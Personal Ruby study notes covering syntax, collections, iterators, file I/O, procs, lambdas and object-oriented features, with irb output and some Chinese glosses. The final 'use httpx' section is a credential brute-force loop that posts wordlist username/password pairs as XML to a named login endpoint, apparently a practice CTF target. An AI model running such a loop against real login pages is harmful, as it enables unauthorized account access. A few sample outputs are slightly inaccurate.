Ruby lean Note

Hello World

puts "Hello World!"

Comments

# single line comment

=begin
  Multi-lines
  comment
=end

Variables

my_var = 42
My_constant_var = 31337

Shorthand assignment

a += b # a = a + b
a -= b # a = a - b
a *= b # a = a * b
a /= b # a = a / b
a %= b # a = a % b
a **= b # a = a**b

Parallel assignment

a, b, c = 11, 22, 33

Input

input = gets

Collections

#Array
# Basics
peoples = ["Alice", "Bob", "Eve"]
=> ["Alice", "Bob", "Eve"]
peoples[0]
=> "Alice"
peoples[1]
=> "Bob"
peoples[-1]
=> "Eve"
# Adding elements
foo = [42, "Cindy", 0.02, true]
=> [42, "Cindy", 0.02, true]
foo << 'd'
=> [42, "Cindy", 0.02, true, "d"]
foo.push(1337)
=> [42, "Cindy", 0.02, true, "d", 1337]
foo.insert(2, 0.05)
=> [42, "Cindy", 0.05, 0.02, true, "d", 1337]
# Removing elements
foo.pop
=> 1337
foo
=> [42, "Cindy", 0.05, 0.02, true, "d"]
foo.delete_at(2)
=> 0.05
foo
=> [42, "Cindy", 0.02, true, "d"]
# Display
puts foo
42
Cindy
0.02
true
d
=> nil
print foo
[42, "Cindy", 0.02, true, "d"]=> nil
# Array Ranges
alph = ['a', 'c', 'z', 'e']
=> ["a", "c", "z", "e"]
alph[1..3]
=> ["c", "z", "e"]


# Combining arrays
x = [41, 53]
=> [41, 53]
y = [72, 16, 133]
=> [72, 16, 133]
res = x + y
=> [41, 53, 72, 16, 133]
res = y + x
=> [72, 16, 133, 41, 53]
z = [16, 41, 55]
=> [16, 41, 55]
res - z
=> [72, 133, 53]
# Boolean operations
x
=> [41, 53]
z
=> [16, 41, 55]
x & z
=> [41]
x | z
=> [41, 53, 16, 55]
# Moving elements
z.reverse
=> [55, 41, 16]
z
=> [16, 41, 55]
z.reverse!
=> [55, 41, 16]
z
=> [55, 41, 16]
# Array methods
z.length
=> 3
z.size
=> 3
z.sort
=> [16, 41, 55]
c = [42, 42, 75, 42]
=> [42, 42, 75, 42]
c.uniq
=> [42, 75]
z.freeze # prevent from being modified, there is no unfreeze method
=> [55, 41, 16]
z.pop
RuntimeError: can't modify frozen Array
	from (irb):96:in 'pop'
	from (irb):96
	from /usr/bin/irb:11:in `<main>'
z.frozen?
=> true
z.include?(55)
=> true
z.include?(56)
=> false
z.min
=> 16
z.max
=> 55

Hashes and symbols

# String as key
grades = {"Paul" => 17, "Virginia" => 18, "Seb" => 15}
=> {"Paul"=>17, "Virginia"=>18, "Seb"=>15}
grades["Seb"]
=> 15
# Symbols as key
identity = {:name => "Alex", :age => 22, :sex => "male"}
=> {:name=>"Alex", :age=>22, :sex=>"male"}
identity[:name]
=> "Alex"
# Symbols as key (shorter syntax)
rock = {name: "ruby", color: "red"}
=> {:name=>"ruby", :color=>"red"}
rock[:name]
=> "ruby"
# Some methods
identity.delete(:age)
=> 22
grades.key(18)
=> "Virginia"
grades.invert
=> {17=>"Paul", 18=>"Virginia", 15=>"Seb"}
no = {a: 42, b: 42, c: 42}
=> {:a=>42, :b=>42, :c=>42}
no.invert
=> {42=>:c} # Don't forget the key needs to be unique
rock.keys
=> [:name, :color]
rock.values
=> ["ruby", "red"]
rock.length
=> 2

Nested arrays and hashes

# Nested arrays
nest = [[10,11,12], ['a','b','c']]
=> [[10, 11, 12], ["a", "b", "c"]]
nest[1]
=> ["a", "b", "c"]
nest[0][2]
=> 12
# Nested hashes
albums = {:"2010" => {:artist => "The Glitch Mob", :title => "Drink The Sea"}, :"2011" => {:artist => "Cryptex", :title => "Isolated Incidents"}}
=> {:"2010"=>{:artist=>"The Glitch Mob", :title=>"Drink The Sea"}, :"2011"=>{:artist=>"Cryptex", :title=>"Isolated Incidents"}}
albums[:"2011"][:artist]
=> "Cryptex"

Iterators

# Range iterator
(1..26).each do |i|
  puts i
end

# Array iterator
letters = ('a'..'z').to_a
alphabet = String.new
letters.each do |c|
  alphabet += c
end

# Hash iterator
num = {one: 1, two: 2, three: 3}
num.each do |k,v|
  puts "#{k}: #{v}"
end
num.each {|k,v| puts "#{k}: #{v}"}
num.each do |k,v| puts "#{k}: #{v}" end

# times iterator
7.times do
  print "7"
end

# Iterator with index
arr = ["red", "blue", "green"]
arr.each_with_index do |color, index| puts "#{index}: #{color}" end

Equality

42 == 42.0 # equal values
=> true
42.eql?(42.0) # equal values and same type
=> false

Subsumption(包容)

42 === (10..100)
=> false
42 === (50..100)
=> false
(10..100) === 42(因为10..100之间存在42因此true)
=> true
(50..100) === 42
=> false
Integer === 42
=> true
Integer === 'string'
=> false
42 === Integer
=> false
/at/ === 'Hi mate'
=> true
/at/ === 'Hello'
=> false
'Hi mate' === /at/
=> false

if/elsif/else statement

val = 1337
if val == 42
  puts "That's always true"
elsif val == 1000
  puts "Nearly right"
elsif val == 1300
  puts "Even closer"
else
  puts "Nah!!"
end
# ouput: Nah!

unless statement(unless executes a block of code only if the condition is false.)

val = 1337
unless val == 1337
  puts "Your're the elite!"
else
  puts "Master!"
end
# output: Master!

Logical operators

&& => and
|| => or
!  => not

case statement

a = 10
case a
when 1
  puts 'One'
when 2
  puts 'Two'
when 5
  puts 'Five'
when 10
  puts 'Ten'
when 42, 1337, 31337
  puts 'Master!'
else
  puts 'Nah!'
end
# output: Ten

while loop

a = 0
while a <= 5
  puts a
  a += 1
end

until loop

a = 0
until a > 5
  puts a
  a += 1
end

Ranges

(41..43).to_a
=> [41, 42, 43]
(41...43).to_a
=> [41, 42]
('m'..'o').to_a
=> ["m", "n", "o"]
('y'..'b').to_a
=> []

for loop

for i in (1..10)
  puts "i: #{i}"
end

break

for i in (1..10)
  break if i > 5
  puts "i: #{i}"
end

next if

for i in (1..10)
  next if i % 2 == 0 #(if is false execute)
    puts "i: #{i}"
end

next unless

numbers = [1, 2, 3, 4, 5]

numbers.each do |num|
  next unless num.odd?
  puts num
end

loop do

a = 0
loop do
  puts a
  a += 1
  break if a > 10
end

Files

Creating and opening files

# Create a file
file = File.new("newfile.txt", "w+")
file.close

# File modes
# **r**, read-only, starts at the beginning
# **r+**, read-write, starts at the beginning
# **w**, write-only, override existing files or creates a new file
# **w+**, read-write, override existing files or creates a new file
# **a**, write-only, appends to the end of existing file or creates a new file
# **a+**, read-write, appends or reads to the end of existing file or creates a new file

# Open an existing file
file = File.open('filename.txt', 'w+')
file.close

Reading and writing files

# Write into a file
file = File.new("newfile.txt", "w+")
file.puts("some text") # add line break \n
file.write("some other") # no line break
file.close

# File block
File.open("test.txt", "w+") do |file|
    file.puts("test")
end # auto-close

# Read the entire content of a file
puts File.read("file.txt")

# Read a file line by line
File.readlines("file.txt").each do |line|
    puts "> #{line}"
end

Deleting files

# Delete a file permanently
File.delete("file.txt")

# Check file existence
File.open("test.txt") if File.file?("test.txt")

File information

# Size of a file
f1 = File.new("test1.txt", "w")
f1.puts("this is a test")
f1.size # return 15, need open stream
f1.close

# Check if empty
File.zero?("test1.txt") # return false

# Check permissions
File.readable?("test1.txt") # return: true
File.writable?("test1.txt") # return: true
File.executable?("test1.txt") # return: false

Methods

Defining and calling

def hi
    puts "Hi!!"
end

hi
=> Hi!!

Method parameters

def hi(name)
    puts "Hi #{name}"
end

hi("Tim")
=> Hi Tim

Default and optional parameters

# Default parameters
def hi(name="")
    puts "Hi #{name}"
end

hi
=> Hi
hi("Roger")
=> Hi Roger

# Without parentheses
def sum x,y
    puts x+y
end

sum 3,9
=> 12

# Optional parameters
def method(*arg)
    puts arg
end

method(1)
=> 1
method(1,"toto")
=> 1
=> toto

Return values from methods

def min(arr)
    return arr.min
end

min([1,5,2,6])
=> 1

# Default return
def append(text)
    text = "#{text}!!!"
end

append("magic")
=> "magic!!!"

# Return array
def sqr(x,y,z)
    return x**2,y**2,z**2
end

sqr(2,7,9)
=> [4, 49, 81]

# Chaining methods
[8,5,9,4.5,7].min.**(2).ceil
=> 21

# Methods as argument
def reverse(text)
    text.reverse
end

def print_reverse(text)
    "Reverse: #{text}"
end

print_reverse(reverse("some text"))
=> "Reverse: txet emos"

Variable scope

# Local variables
def add(x,y)
    x + y
end
puts y
# output: undefined local variable or method `y' for main:Object (NameError)

# Global variables
$y = 12
def add(x)
    x + $y
end
puts add(7)
# output: 19

Recursion(递归)

def fact(n)
    if n <= 1
        1
    else
        n * fact(n - 1)
    end
end

irb(main):008:0> fact(5)
=> 120

# infinite recursion
def fact(n)
    n * fact(n - 1)
end

irb(main):012:0> fact(5)
SystemStackError: stack level too deep

Modules, mixins and standard classes

Modules and mixins

# Include vs extend
# an example from  John Nunemaker @ http://www.railstips.org/blog/archives/2009/05/15/include-vs-extend-in-ruby/
module Foo
  def foo
    puts 'heyyyyoooo!'
  end
end

class Bar
  include Foo
end

Bar.new.foo # heyyyyoooo!
Bar.foo # NoMethodError: undefined method ‘foo’ for Bar:Class

class Baz
  extend Foo
end

Baz.foo # heyyyyoooo!
Baz.new.foo # NoMethodError: undefined method ‘foo’ for #<Baz:0x1e708>

# Module mixins example
module PiMath
    def pisqr
        Math::PI**2
    end
end

class CosWrapper
    def self.cos
        # accessible only for classes which define number method
        # number alone is ambiguous because it can refer to self.number or self.class.number
        Math::cos(self.class.number)
    end
end

class PiPowa < CosWrapper
    extend PiMath
    def self.number
        self.pisqr
    end
end

class EPowa < CosWrapper
    def self.esqr
        Math::E**2
    end
    def self.number
        self.esqr
    end
end

class Somenumber
    attr_reader :mynumber
    def initialize(x)
        @mynumber = self.pisqr * x
    end
    protected
    include PiMath
end

puts PiPowa.pisqr # output: 9.869604401089358
puts PiPowa.number # output: 9.869604401089358
puts PiPowa.cos # output: -0.9026853619330714
puts EPowa.esqr # output: 7.3890560989306495
puts EPowa.number # output: 7.3890560989306495
puts EPowa.cos # output: 0.44835624181873357
s = Somenumber.new(7)
puts s.mynumber # output: 69.0872308076255
puts CosWrapper.cos # output: NameError: undefined local variable or method `number' for CosWrapper:Class

# Auto extend when included
# an example from  John Nunemaker @ http://www.railstips.org/blog/archives/2009/05/15/include-vs-extend-in-ruby/
module Foo
  def self.included(base)
    base.extend(ClassMethods)
  end

  module ClassMethods
    def bar
      puts 'class method'
    end
  end

  def foo
    puts 'instance method'
  end
end

class Baz
  include Foo
end

Baz.bar # class method
Baz.new.foo # instance method
Baz.foo # NoMethodError: undefined method ‘foo’ for Baz:Class
Baz.new.bar # NoMethodError: undefined method ‘bar’ for #<Baz:0x1e3d4>

# Example of a mixin interacting with a class
class Character
    attr_accessor :name
    include Comparable
    def initialize(name)
        @name = name
    end
    def <=>(other)
        self.name <=> other.name
    end
end

c1 = Character.new("Toto")
c2 = Character.new("Tata")

puts c1 > c2 # ouput: true

Namespacing

# Group classes
module Pets
    class Dog
        def bark
            puts "Woof!"
        end
    end
    class Cat
        def meow
            puts "Meow!"
        end
    end
end

d = Pets::Dog.new
c = Pets::Cat.new

d.bark
c.meow

# Group methods
module MoreMath
    def self.recadd(n)
        (n * (n + 1)) / 2
    end
    def self.factorial(n)
        (1..n).reduce(:*) || 1
    end
end

MoreMath.recadd(7) # output: 28

Structs

# Simple struct
Point = Struct.new(:x,:y)
a = Point.new(1,5)
b = Point.new(7,-2)
puts a.y # output: 5
a.x = 2

#OpenStruct (OStruct) is similar to Struct but doesn't require to define attributes.
#The drawback is that OpenStruct is slower than Struct.
require 'ostruct'

employee = OpenStruct.new
employee.name = "Antony"
employee.job = "Engineer"
employee.salary = 2100

puts employee.job # output: Engineer

# Initialize an OpenStruct with a hash
require 'ostruct'

employee = OpenStruct.new(name: "Antony", job: "Engineer", salary: 2100)

puts employee.job # output: Engineer

Math and Time

# square root
puts Math.sqrt(16)

# pi constant
puts Math::PI

# trigonometry
puts Math::tan(0)

# current time
t = Time.now
puts t

# year, month, day
puts t.year
puts t.month
puts t.day

# custom date
t = Time.new(1994,04,22)

# day of the week (0-6)
puts t.wday

# day of the year
puts t.yday

Procs

Procs are object so they can be passed into methods.

# Simple proc
hello = Proc.new do |someone|
    puts "Hi #{someone}"
end

hello.call "Tristan"
hello.call("David")

# Procs passed into methods
goodbye = Proc.new do |someone|
    puts "Bye #{someone}"
end

def say(arr, proc)
    arr.each {|person| proc.call person}
end

people = ["Tristan", "David", "Ophelia"]
say(people, hello)
say(people,goodbye)

# Proc example
def calc_time(proc, n)
    start = Time.now
    proc.call n
    duration = Time.now - start
end

myProc = Proc.new do |n|
    (1..n).reduce(:*) || 1
end

puts calc_time(myProc, 99999) # output: 3.382078767

Lambdas

# Lambda / anonymous function
l = lambda {puts "stuff"}
l2 = ->() {puts "stuff2"}
l.call
l2.call

# Lambda vs proc
# with proc, arguments are not mandatory(强制性的)
my_lambda = lambda {|arg| puts "Hi #{arg}"}
my_proc = Proc.new {|arg| puts "Hi #{arg}"}
my_lambda.call # output: ArgumentError: wrong number of arguments (given 0, expected 1)
my_proc.call # output: Hi

# Lambda vs proc
# When return is encountered, proc quite the enclosing method, lambda doesn't
def say(arr)
    p = goodbye = Proc.new do |someone|
        puts "Bye #{someone}"
        return "proc return"
    end
    p.call arr.join(", ")
    puts "not displayed"
end
people = ["Tristan", "David", "Ophelia"]
say(people)
# output: Bye Tristan, David, Ophelia
# => "proc return"
def say2(arr)
    l = lambda do |someone|
        puts "Bye #{someone}"
        return "lambda return"
    end
    l_ret = l.call arr.join(", ")
    puts "this is displayed: #{l_ret}"
end
say2(people)
# output: Bye Tristan, David, Ophelia
# output: this is displayed: lambda return
# => nil

Object oriented programming

Classes and objects

# Initialization
class Person
  def initialize
    puts "My name ise no one!"
  end
end

irb(main):020:0> Person.new
My name ise no one!

Instance variables

# Instance variables
class Color
    @color = "no color"
    def initialize(color)
        @color = color
    end
end

y = Color.new("yellow")
g = Color.new("green")
``` Instance methods and accessors
### 
```ruby
# Accessors
class Person
    def initialize(name)
        @name = name
    end
    # Getter
    def get_name
        @name
    end
    # Setter
    def set_name(name)
        @name = name
    end
end

irb(main):039:0> p = Person.new("Nicolas")
=> #<Person:0x000056328b740568 @name="Nicolas">
irb(main):040:0> p.get_name
=> "Nicolas"
irb(main):055:0> p.set_name("Phil")
=> "Phil"
irb(main):056:0> p.get_name
=> "Phil"

# Setter helper
class Person
    def set_name=(name)
        @name = name
    end
end

irb(main):063:0> p = Person.new("Alexia")
=> #<Person:0x000056328bbd4cc8 @name="Alexia">
irb(main):064:0> p.set_name = "Alexandra"
=> "Alexandra"

Accessor methods

class Person
    attr_reader :name   # getter
    attr_writer :age    # setter (with =)
    attr_accessor :surname, :nick   # setter (with =) + getter
    def initialize(name, age, surname)
        @name = name
        @age = age
        @surname = @nick = surname
    end
end

irb(main):075:0> p = Person.new("André", 22, "Dédé")
=> #<Person:0x000056328bba43e8 @name="André", @age=22, @nick="Dédé", @surname="Dédé">
irb(main):076:0> p.name
=> "André"
irb(main):078:0> p.age = 23
=> 23
irb(main):080:0> p.surname = "Dré"
=> "Dré"
irb(main):081:0> p.nick
=> "Dédé"

# Self keyword
class Person
    attr_reader :age
    attr_accessor :birth
    def initialize(birth)
        @birth = birth
        @age = 2017 - birth.to_i
    end

=begin attr_accessor :birth
    def birth
        @birth
    end

    def birth=(birth)
        @birth = birth
    end
=end

    def modify=(birth)
        # birth = birth? local argument = local argument or birth sugar setter with birth local argument?
        self.birth = birth # self refer to the public instance method
        @age = 2017 - birth.to_i
    end
end

irb(main):032:0> p = Person.new(1985)
=> #<Person:0x000055ab32ed0d90 @birth=1985, @age=32>
irb(main):033:0> p.age
=> 32
irb(main):034:0> p.modify = 1990
=> 1990
irb(main):035:0> p.age
=> 27

# self ambiguity
class WhereDoesItComeFrom
    def self.from
        puts "class method"
    end
    def from
        puts "instance method"
    end
    def which
        from # instand method so it will call the *from* instance method
    end
    def self.which
        from # class method so it will call the *from* class method
    end
    def unambiguous
        self.from # call the instance method
        self.class.from # call the class method
    end
    def self.unambiguous
        # self always refer to an instance
        # but `WhereDoesItComeFrom` is an instance of the class `Class`
        self.from # output: class method
        self.class.from # raise an error because `Class.from` doesn't exist
    end
end

WhereDoesItComeFrom.from # output: class method
WhereDoesItComeFrom.new.from # output: instance method
WhereDoesItComeFrom.which # output: class method
WhereDoesItComeFrom.new.which # output: instance method
WhereDoesItComeFrom.unambiguous # output: 1st line: class method, 2nd line: NoMethodError: undefined method `from' for Class:Class
WhereDoesItComeFrom.new.unambiguous # output: 1st line: instance method, 2nd line: class method

Class methods and variables

# Class methods
class Car
    def self.info
        puts "A car"
    end
end
# When there is no needs to instantiate an object.
irb(main):041:0> Car.info
A car
=> nil

# Class variables
class Animals
    @@number = 0
    def initialize
        @@number += 1
    end

    def self.number
        @@number
    end
end

irb(main):066:0> dog = Animals.new
=> #<Animals:0x000055ab32f47260>
irb(main):067:0> cat = Animals.new
=> #<Animals:0x000055ab32f3a9e8>
irb(main):068:0> snake = Animals.new
=> #<Animals:0x000055ab32c0b358>
irb(main):069:0> Animals.number
=> 3

# Class constants
class Universe
    ANSWER = 42
end

irb(main):073:0> Universe::ANSWER
=> 42

to_s method

def Aclass
end

puts Aclass # to_s is automatically called
puts Aclass.to_s

Inheritance

class Language # superclass / base class
    def initialize(style)
        @style = style
    end
    def example
        puts 'printf ("%s", "Hello world!")'
    end
end

class Ruby < Language # subclass / derived class
    def example
        puts 'puts "Hello world!"'
    end
end

r = Ruby.new("OOB")
r.example
# output : puts "Hello world!"

super method

class Human
    def speak
        print "I am a human"
    end
end

class Avatar < Human
    def speak
        super
        puts " and I'm blue"
    end
end

a = Avatar.new
a.speak
# output : I am a human and I'm blue

class Vehicle
    def initialize(name)
        @name = name
    end
end

class Car < Vehicle
    def initialize(name,wheels)
        super(name)
        @wheels = wheels
    end
    def to_s
        "My #{@name} has #{@wheels} wheels."
    end
end

c = Car.new("Twingo", 4)
puts c
# output : My Twingo has 4.

Operator overloading

class Coordinates
    attr_accessor :x, :y
    def initialize(x, y)
        self.x = x
        self.y = y
    end
    def +(obj)
        Coordinates.new(self.x + obj.x, self.y + obj.y)
    end
end

a = Coordinates.new(8,5)
b = Coordinates.new(-1,4)
c = a + b
puts c.x # output: 7
puts c.y # output: 9

Access modifiers

# private methods
class My_time
    def initialize(hours)
        @hours = hours
    end
    def convert
        # can call private minutes method because we are in the class
        # but not self.minutes because minutes is not public
        puts "#{@hours} hours(s) = #{minutes} minutes = #{seconds} seconds"
    end
    private
    def minutes
        @hours * 60
    end
    def seconds
        @hours * 3600
    end
end

t = My_time.new(24)
t.convert # output: 24 hours(s) = 1440 minutes = 86400 seconds
puts t.minutes # output: NoMethodError: private method `minutes' called for #<My_time:0x000055b311f9df20 @hours=24>

# protected methods
class Thing
    def initialize
        @id = rand(9999)
    end
    def ==(obj)
        # can call protected (private-like) method from the code but are not public
        self.id == obj.id
    end
    protected
    def id
        @id
    end
end

t1 = Thing.new
t2 = Thing.new
puts (t1 == t2)
# output: false

Abstract classes and methods

Ruby doesn’t have a built-in notion of an abstract method or class.

Note: it’s advised not to use abstract class without proper error management.

An abstract class is a class that should never be instantiated directly.

# Abstract class and method
class A
    # abstract class
    def initialize
        raise NotImplementedError
    end
    # abstract method
    def something
        # accessible only for classes which define number method
        puts "number: #{number}"
    end
end

class B < A
    def initialize
        # just need to override parent class
    end
    def number
        4
    end
end

b = B.new
puts b.number # output: 4
puts b.something # output: number: 4
# A.new will raise an error
# if `A` didn't have `raise` in `initialize` method we should have been able to call the
# `something` method but it will have raise an error as the `number` method doesn't exist
# for the `A` class.

use httpx

require "httpx"

File.readlines("wordlist.txt").each do |user|
  File.readlines("wordlist1.txt").each do |pass|
    xml_data = "<user><username>#{user.strip}</username><password>#{pass.strip}</password></user>"
    headers = { "Content-Type" => "text/xml" }
    response = HTTPX.post("http://eci-2zeatljaj2gspazb58z0.cloudeci1.ichunqiu.com/doLogin.php", body: xml_data, headers: headers)
    puts "#{user.strip},#{pass.strip}"
    break if response.to_s.include?("<code>3</code>")
  end
end